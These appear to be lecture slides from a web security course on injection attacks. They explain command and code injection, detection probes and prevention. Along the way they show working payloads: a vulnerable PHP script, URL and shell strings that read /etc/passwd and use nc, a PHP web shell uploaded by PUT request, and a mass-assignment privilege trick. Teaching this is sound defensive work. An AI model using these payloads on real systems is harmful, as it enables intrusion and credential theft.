A1 (Part 1): Injection
Command and Code injection

A1 – Injection

- Tricking an application into executing commands or code embedded in data
  - Data and code mixing!
- Often injected into interpreters
  - SQL, PHP, Python, JavaScript, LDAP, `/bin/sh`
  - Still widely prevalent
- Impact severe
  - Entire database and schema can be read or modified
  - Account access and even OS level access possible

A1 – Injection vulnerability

- Shared underlying problem: Breaking syntax
  - Breaking the syntax of a PHP, Python, or JavaScript script, in order to inject OS commands or rogue script/program code
  - Breaking the syntax of an SQL statement, in order to inject SQL code. (SQL Injection)
  - Breaking the syntax of an HTML page, in order to inject JavaScript code (Cross-Site Scripting).

  - Fuzz site with different characters and look for interpreter errors

Command injection

- Most web servers run on Linux/Unix
- Web application code can drop into a shell to execute commands
  - From PHP `system()`, `eval()` or Python `os.system()`, `eval()`
  - If `eval()` or `system()` call in code uses any untrusted or unvalidated input (i.e. input that adversary controls), command injection can occur
- Example exploitations
  - Run arbitrary commands directly
    - Interactive shell (`/bin/sh`) or reverse-shell (`nc`)
  - Access sensitive files via commands `cat` or `grep`
    - On Linux, `/etc/passwd /etc/shadow`
    - In natas, `/etc/natas_webpass`

Example: Command injection

```
<?php
        $cmd = "echo " . $_GET['name'];
        system($cmd);
?>
```

http://foo.com/echo.php?name=foo

- What might this URL do?
  - http://foo.com/echo.php?name=foo; cat/etc/passwd
- Potential solution: filter all semi-colons!
  - Is it that simple?
- Linux command-line injection syntactical techniques
  - Semicolons
    `cd /etc; cat passwd`
  - Backticks
    `` `ls` ``
  - Pipes
    `ls | nc -l 8080`
  - Logical expressions
    `ls && cat /etc/passwd`
  - Subshells
    `(cd /tmp; tar xpf foo.tar)`
    `echo $(cat /etc/passwd)`

Code injection

- Similar to command injection, but injecting into program itself
- Pattern

  `[CODE] [SEPARATOR] [USER INPUT] [SEPARATOR] [CODE]`
  - where `[USER INPUT]` is from adversary
- Use `[USER INPUT]` to inject arbitrary code
  - Break syntax by injecting a [SEPARATOR]
  - Inject [MALICIOUS_CODE], then inject either
    - A [SEPARATOR] to fix syntax

`[CODE][SEPARATOR][SEPARATOR][MALICIOUS_CODE][SEPARATOR][SEPARATOR][CODE]`

    - Or a [COMMENT] to remove rest of line

`[CODE][SEPARATOR][SEPARATOR][MALICIOUS_CODE][COMMENT] [SEPARATOR][CODE]`

  - Separator dependent upon context of injection (HTML, SQL, PHP)
    - Often a single-quote, a double-quote, a backtick, or a semi-colon

      ‘ “ ` ;
  - Comment characters also dependent upon context of injection

    -- # //
- Inject each and observe responses to detect if injection possible

https://github.com/minimaxir/big-list-of-naughty-strings

Example: Detecting code injection

- PHP
  - Inject comment

    `/* random number */`
    - If random number does not appear, code injection has occurred
  - Inject comment

    `//`
    - If rest of the line in program is removed, a program error is likely
  - Inject string concatenation to break and reform syntax

    `" . "ha"."cker"."`
    - If hacker string appears, code injection has occurred
  - Inject sleep commands

    `sleep(10)`
    - If delay observed, code injection has occurred
  - Can then inject calls to `system()` or other code that is then `eval'd`

Example: Code injection via Upload

- HTTP PUT or POST method that creates a file on server (e.g. image upload)
  - WFP1: File Upload
  - Upload malicious scripts and that are subsequently accessed by adversary
- Example web shell

```
$ nc victim 80
PUT /upload.php HTTP/1.0
Content-type: text.html
Content-length: 130

<?php
  if (isset($_GET['cmd']))
  {
     $cmd = $_GET['cmd'];
     echo '<pre>';
     $result = shell_exec($cmd);
     echo $result;
     echo '</pre>';
  }
?>
```

Example: Code injection via form data

- Form data used directly to set web application variables dangerous
  - Never perform automatic request to object mapping to
    - Set program variables directly
    - Set database entries directly
  - Example: `user[name]=louis&user[group]=1`
    - Intended to create user array and set attribute `name` set to '`louis`' and attribute `group` to 1
  - Can be exploited.
    - Add `user[admin]=1` to the request and see if your user gets administrator privileges.

A1 (Part 1): Prevention

Input validation and encoding

- Filtering
  - Remove all code tags from user-input before using
- Encoding
  - Encode all user input before passing it to an interpreter or eval statement
  - All characters that would break syntax of target interpreter are encoded into something innocuous
  - Based on language of interpreter

Lower privileges

- Run web-server with reduced privilege levels
- Sandbox execution
  - chroot, BSD jails, Linux seccomp, containers (e.g. LXC, Docker)
  - Run server in a Virtual Machine

Labs

- See handout
- No regular HW

Questions

- https://sayat.me/wu4f